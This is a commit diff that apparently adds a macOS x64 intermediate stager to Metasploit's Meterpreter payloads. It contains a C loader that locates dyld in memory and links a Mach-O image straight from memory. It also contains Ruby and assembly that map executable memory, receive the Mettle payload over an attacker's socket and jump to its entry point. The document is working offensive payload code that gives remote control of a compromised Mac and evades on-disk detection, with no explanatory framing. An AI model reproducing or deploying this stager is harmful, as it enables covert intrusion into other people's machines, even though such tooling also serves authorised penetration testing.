add osx x64 stager
parent
44fbb171a6
commit
46a45550fd
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@ -0,0 +1,29 @@
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CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -O0
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SDK=`xcrun --sdk iphoneos --show-sdk-path`
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GCC_BIN=`xcrun --sdk iphoneos -f gcc`
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GCC_BASE=$(GCC_BIN) $(CFLAGS) -Wimplicit -isysroot $(SDK)
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GCC=$(GCC_BASE) -arch arm64
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SDK_OSX=`xcrun --sdk macosx --show-sdk-path`
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GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
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GCC_BASE_OSX=$(GCC_BIN_OSX) -Os $(CFLAGS)
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GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
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all: clean main_ios main_osx
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main_ios: main.c
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$(GCC) -o $@ $^
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ldid -S $@
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main_osx: main.c
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$(GCC_OSX) -o $@ $^
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install: main_osx
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cp main_osx ../../../../../data/meterpreter/x64_osx_stage
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shellcode: install
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otool -tv main_osx
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clean:
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rm -f *.o main_ios main_osx
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@ -0,0 +1,238 @@
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#include <stdio.h>
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#include <string.h>
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#include <mach-o/loader.h>
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#include <mach-o/nlist.h>
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#include <mach-o/dyld.h>
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#include <sys/types.h>
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typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
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typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
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uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int dereference);
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uint64_t find_symbol(uint64_t base, char* symbol);
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uint64_t find_entry_offset(struct mach_header_64 *mh);
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int string_compare(const char* s1, const char* s2);
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/*#define DEBUG*/
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#ifdef DEBUG
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static void print(char * str);
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#endif
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int main(int argc, char** argv)
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{
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#ifdef DEBUG
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print("main!\n");
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#endif
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uint64_t buffer = 0;
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uint64_t buffer_size = 0;
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__asm__(
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"movq %%r10, %0;\n"
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"movq %%r12, %1;\n"
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: "=g"(buffer), "=g"(buffer_size));
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#ifdef DEBUG
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print("hello world!\n");
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#endif
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uint64_t binary = find_macho(0x100000000, 0x1000, 0);
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if (!binary) {
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return 1;
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}
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uint64_t dyld = find_macho(binary + 0x1000, 0x1000, 0);
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if (!dyld) {
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return 1;
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}
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NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
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if (!NSCreateObjectFileImageFromMemory_func) {
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return 1;
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}
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#ifdef DEBUG
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print("good symbol!\n");
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#endif
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NSLinkModule_ptr NSLinkModule_func = (void*)find_symbol(dyld, "_NSLinkModule");
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if (!NSLinkModule_func) {
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return 1;
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}
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/*if (*(char*)buffer == 'b') {*/
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/*print("magic b!\n");*/
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/*}*/
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*(char*)buffer = '\xcf';
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((uint32_t *)buffer)[3] = MH_BUNDLE;
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NSObjectFileImage fi = 0;
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if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
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return 1;
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}
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#ifdef DEBUG
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print("created!\n");
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#endif
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NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
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if (!nm) {
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#ifdef DEBUG
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print("no nm!\n");
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#endif
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return 1;
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}
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#ifdef DEBUG
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print("good nm!\n");
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#endif
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uint64_t execute_base = (uint64_t)nm;
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execute_base = find_macho(execute_base, sizeof(int), 1);
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uint64_t entry_off = find_entry_offset((void*)execute_base);
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if (!entry_off) {
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return 1;
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}
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uint64_t entry = (execute_base + entry_off);
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int(*main_func)(int, char**) = (int(*)(int, char**))entry;
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char* socket = (char*)(size_t)argc;
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char *new_argv[] = { "m", socket, NULL };
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int new_argc = 2;
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return main_func(new_argc, new_argv);
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}
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uint64_t find_symbol(uint64_t base, char* symbol)
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{
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struct segment_command_64 *sc, *linkedit, *text;
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struct load_command *lc;
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struct symtab_command *symtab;
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struct nlist_64 *nl;
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char *strtab;
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symtab = 0;
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linkedit = 0;
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text = 0;
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lc = (struct load_command *)(base + sizeof(struct mach_header_64));
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for (int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
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if (lc->cmd == LC_SYMTAB) {
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symtab = (struct symtab_command *)lc;
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} else if (lc->cmd == LC_SEGMENT_64) {
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sc = (struct segment_command_64 *)lc;
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char * segname = ((struct segment_command_64 *)lc)->segname;
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if (string_compare(segname, "__LINKEDIT") == 0) {
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linkedit = sc;
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} else if (string_compare(segname, "__TEXT") == 0) {
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text = sc;
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}
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}
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lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
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}
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if (!linkedit || !symtab || !text) return -1;
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unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff;
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strtab = (char *)(base + file_slide + symtab->stroff);
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nl = (struct nlist_64 *)(base + file_slide + symtab->symoff);
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for (int i=0; i<symtab->nsyms; i++) {
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char *name = strtab + nl[i].n_un.n_strx;
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/*#ifdef DEBUG*/
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/*print(name);*/
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/*print("\n");*/
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/*#endif*/
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if (string_compare(name, symbol) == 0) {
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return base + nl[i].n_value;
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}
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}
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return -1;
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}
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uint64_t syscall_chmod(uint64_t path, long mode)
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{
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uint64_t chmod_no = 0x200000f;
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uint64_t ret = 0;
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__asm__(
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"movq %1, %%rax;\n"
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"movq %2, %%rdi;\n"
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"movq %3, %%rsi;\n"
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"syscall;\n"
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"movq %%rax, %0;\n"
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: "=g"(ret)
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: "g"(chmod_no), "S"(path), "g"(mode)
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:);
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return ret;
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}
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uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
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{
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while(1) {
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uint64_t ptr = addr;
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if (pointer) {
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ptr = *(uint64_t *)ptr;
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}
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unsigned long ret = syscall_chmod(ptr, 0777);
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if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {
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return ptr;
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}
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addr += increment;
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}
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return 0;
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}
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uint64_t find_entry_offset(struct mach_header_64 *mh)
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{
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struct entry_point_command *entry;
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struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64));
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for (int i=0; i<mh->ncmds; i++) {
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if (lc->cmd == LC_MAIN) {
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entry = (struct entry_point_command *)lc;
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return entry->entryoff;
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}
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lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
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}
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return 0;
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}
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int string_compare(const char* s1, const char* s2)
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{
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while (*s1 != '\0' && *s1 == *s2)
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{
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s1++;
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s2++;
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}
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return (*(unsigned char *) s1) - (*(unsigned char *) s2);
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}
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#ifdef DEBUG
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int string_len(const char* s1)
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{
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const char* s2 = s1;
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while (*s2 != '\0')
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{
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s2++;
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}
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return (s2 - s1);
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}
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void print(char * str)
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{
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long write = 0x2000004;
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long stdout = 1;
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unsigned long len = string_len(str);
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unsigned long long addr = (unsigned long long) str;
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unsigned long ret = 0;
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/* ret = write(stdout, str, len); */
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__asm__(
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"movq %1, %%rax;\n"
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"movq %2, %%rdi;\n"
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"movq %3, %%rsi;\n"
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"movq %4, %%rdx;\n"
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"syscall;\n"
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"movq %%rax, %0;\n"
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: "=g"(ret)
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: "g"(write), "g"(stdout), "S"(addr), "g"(len)
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: "rax", "rdi", "rdx" );
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}
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#endif
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@ -28,7 +28,49 @@ module MetasploitModule
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end
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def handle_intermediate_stage(conn, payload)
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stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage")
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data = File.binread(stager_file)
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macho = MachO::MachOFile.new_from_bin(data)
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main_func = macho[:LC_MAIN].first
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entry_offset = main_func.entryoff
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output_data = ''
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for segment in macho.segments
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for section in segment.sections
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file_section = segment.fileoff + section.offset
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vm_addr = section.addr - 0x100000000
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section_data = data[file_section, section.size]
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if output_data.size < vm_addr
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output_data += "\x00" * (vm_addr - output_data.size)
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end
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if section_data
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output_data[vm_addr, output_data.size] = section_data
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end
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end
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end
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midstager_asm = %(
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push rdi ; save sockfd
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xor rdi, rdi ; address
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mov rsi, #{output_data.length} ; length
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mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
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mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
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xor r8, r8 ; fd
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xor r9, r9 ; offset
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mov eax, 0x20000c5 ; mmap
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syscall
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mov r12, rax
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mov rdx, rsi ; length
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mov rsi, rax ; address
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pop rdi ; sockfd
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mov r10, 0x40 ; MSG_WAITALL
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xor r8, r8 ; srcaddr
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xor r9, r9 ; addrlen
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mov eax, 0x200001d ; recvfrom
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syscall
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push rdi ; save sockfd
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xor rdi, rdi ; address
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mov rsi, #{payload.length} ; length
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@ -48,43 +90,44 @@ module MetasploitModule
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mov eax, 0x200001d ; recvfrom
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syscall
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mov rax, #{@entry_offset}
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add rsi, rax
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jmp rsi
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)
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mov r10, rsi
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; setup stack?
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and rsp, -0x10 ; Align
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add sp, 0x40 ; Add room for initial stack and prog name
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mov rax, 109 ; prog name "m"
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push 0 ;
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mov rcx, rsp ; save the stack
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push 0
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push 0
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push 0
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push 0
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push 0
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push 0
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push rdi ; ARGV[1] int sockfd
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push rcx ; ARGV[0] char *prog_name
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mov rax, 2 ; ARGC
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push rax
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mov rsi, r12
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mov r12, rdx
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mov rax, #{entry_offset}
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add rsi, rax
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call rsi
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)
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midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
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print_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
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print_status("Transmitting first stager...(#{midstager.length} bytes)")
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conn.put(midstager) == midstager.length
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print_status("Transmitting second stager...(#{output_data.length} bytes)")
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conn.put(output_data) == output_data.length
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end
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def generate_stage(opts = {})
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data = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
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mettle_macho = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
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generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec
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#data = File.binread("/Users/user/dev/git/darwin-stager/main_osx")
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#data = File.binread("/Users/user/dev/git/ios/shellcc/shellcode/shelltest64")
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#data = File.binread("/usr/bin/yes")
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macho = MachO::MachOFile.new_from_bin(data)
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main_func = macho[:LC_MAIN].first
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@entry_offset = main_func.entryoff
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output_data = ''
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for segment in macho.segments
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for section in segment.sections
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file_section = segment.fileoff + section.offset
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vm_addr = section.addr - 0x100000000
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section_data = data[file_section, section.size]
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if output_data.size < vm_addr
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output_data += "\x00" * (vm_addr - output_data.size)
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end
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if section_data
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output_data[vm_addr, output_data.size] = section_data
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end
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end
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end
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output_data += "\x00" * (0x1000 - (output_data.size % 0x1000))
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output_data
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mettle_macho[0] = 'b'
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mettle_macho
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end
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end
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